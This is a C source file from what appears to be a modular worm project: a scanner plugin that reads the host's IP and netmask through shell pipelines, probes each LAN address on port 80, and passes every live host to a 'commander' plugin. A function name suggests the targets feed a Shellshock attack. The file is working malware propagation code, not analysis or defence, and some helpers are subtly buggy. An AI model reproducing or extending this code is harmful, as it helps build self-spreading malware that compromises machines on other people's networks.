modular-worm/plugins/9_scanner.c

169 lines
4.9 KiB
C

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include "api.h"
#include "10_commander.h"
#define MAX_IP_SIZE 17
api_plugin_t version = {.id = 9, .flag = 0, .major = 1, .minor = 0};
/* TODO: use types int32_t */
/*
translate an ip (value on 32 bits) into a dot decimal representation
@param to: must be a char[MAX_IP_SIZE]
*/
static void ip_int_to_ip_string(int iip, char *to) {
unsigned char aip[4];
aip[0] = iip >> 24;
aip[1] = iip >> 16;
aip[2] = iip >> 8;
aip[3] = iip >> 0;
snprintf(to, MAX_IP_SIZE, "%u.%u.%u.%u", aip[0], aip[1], aip[2], aip[3]);
}
/*
translate a dot decimal ip representation into a int32 value
@param sip: a string formatted as "a.b.c.d"
@return ip: the decimal value of the ip
*/
static unsigned int ip_string_to_ip_int(char *sip) {
unsigned int iip = 0;
unsigned int val = 0;
for (unsigned int i = 0; i < strlen(sip); i++) {
if (sip[i] == '.') {
iip = (iip << 8) + val;
val = 0;
}
else if (sip[i] >= '0' && sip[i] <= '9') {
val = val * 10 + (sip[i] - '0');
}
else {
printf("Invalid character '%c' at %i\n", sip[i], i);
}
}
iip = (iip << 8) + val;
return iip;
}
/*
Computes a mask in decimal (CIDR) from a negated binary expression of the mask
ex: Computes 00000....1111 into /dd (a normal mask is 11111...0000)
*/
int mask_neg_to_mask_decimal(int nmask) {
unsigned int dmask;
for (int i = 1; i < 32; i++) {
if ((nmask << i) >> i != nmask) // we found the mask
{
dmask = i;
break;
}
}
return dmask;
}
/*
Test if the host is up (connect on port 80).
@param ip: a string to represent the ip to test (a.b.c.d)
@return true or false (1/0)
*/
static int p9_scan_host_up(char *ip) {
struct addrinfo hints, *res;
int sockfd;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
getaddrinfo(ip, "80", &hints, &res);
sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
int host_is_down = connect(sockfd, res->ai_addr, res->ai_addrlen) == -1;
if (!host_is_down)
close(sockfd);
freeaddrinfo(res);
printf("The ip %s is %s\n", ip, host_is_down ? "down" : "up");
return !host_is_down;
}
static unsigned int p9_local_dmask = 0; // 24
static unsigned int p9_local_mask_and = 0; // 0b000...111
static unsigned int p9_local_mask_or = 0; // 0b111...000
static char p9_local_sip[MAX_IP_SIZE] = {0};
static unsigned int p9_local_iip = 0;
/* void printfb(int val) { */
/* for (int i = 31; i >= 0; i--) { */
/* printf("%i", ((val & (1 << i)) >> i) & 1); */
/* } */
/* printf("\n"); */
/* } */
/*
Scan whole the LAN by "slice" and send a message to the command center if a host is found.
The LAN must be computed and stored with the mask before in the p9_local_...
@param slice number of host to test before stopping this scan
*/
static void p9_scan_shellshock_slice(int slice) {
static unsigned int current = 0;
if (current == 0 || current == (p9_local_iip | p9_local_mask_and)) {
current = p9_local_iip; // apply a /16 mask = & 0b111...000 // TODO
}
for (int i = 1; i <= slice; i++) {
if (current == (p9_local_iip | p9_local_mask_and))
break;
current++;
char scurrent[MAX_IP_SIZE];
ip_int_to_ip_string(current, scurrent);
if (p9_scan_host_up(scurrent)) {
p10_order order = { .type = 1, .data = {0} };
memcpy(order.data, scurrent, MAX_IP_SIZE);
api_send_message((api_plugin_t){10, 0, 0, 0}, &order, sizeof(order), 1);
}
}
}
#define SEARCH_IP "/usr/bin/env ip a | grep -Eo 'inet ([0-9]*\\.){3}[0-9]*/[0-9]+ brd ([0-9]*\\.){3}[0-9]*' | grep -v '127.0.0.1'"
/*
Find the local ip and then start a scan on the whole LAN, by 8 hosts.
*/
void run() {
if (!p9_local_sip[0]) {
/* get the mask */
FILE* mask = popen(SEARCH_IP " | grep -Eo '/[0-9]+' | grep -Eo '[0-9]+'", "r");
char mask_str[3] = {0};
fread(mask_str, 2, 1, mask);
pclose(mask);
p9_local_dmask = atoi(mask_str);
// computes different mask representations
p9_local_mask_and = 0;
for (unsigned char i = 32; i > p9_local_dmask; i--)
p9_local_mask_and = (p9_local_mask_and << 1) + 1; // 0b000...111
p9_local_mask_or = p9_local_mask_and ^ 0xFFFFFFFF; // 0b111...000
/* get the ip */
FILE* ip = popen(SEARCH_IP " | grep -Eo 'inet [0-9\\.]+' | grep -Eo 'inet [0-9\\.]+' | grep -Eo '[0-9\\.]+'", "r");
fread(p9_local_sip, MAX_IP_SIZE - 1, 1, ip);
pclose(ip);
p9_local_sip[strlen(p9_local_sip) - 1] = 0; // remove \n
p9_local_iip = ip_string_to_ip_int(p9_local_sip);
printf("LOCAL IP: \"%s/%i\"\n", p9_local_sip, p9_local_dmask);
/* printfb(p9_local_mask_and); */
/* printfb(p9_local_mask_or); */
}
/* scan the next slice of hosts */
p9_scan_shellshock_slice(2);
}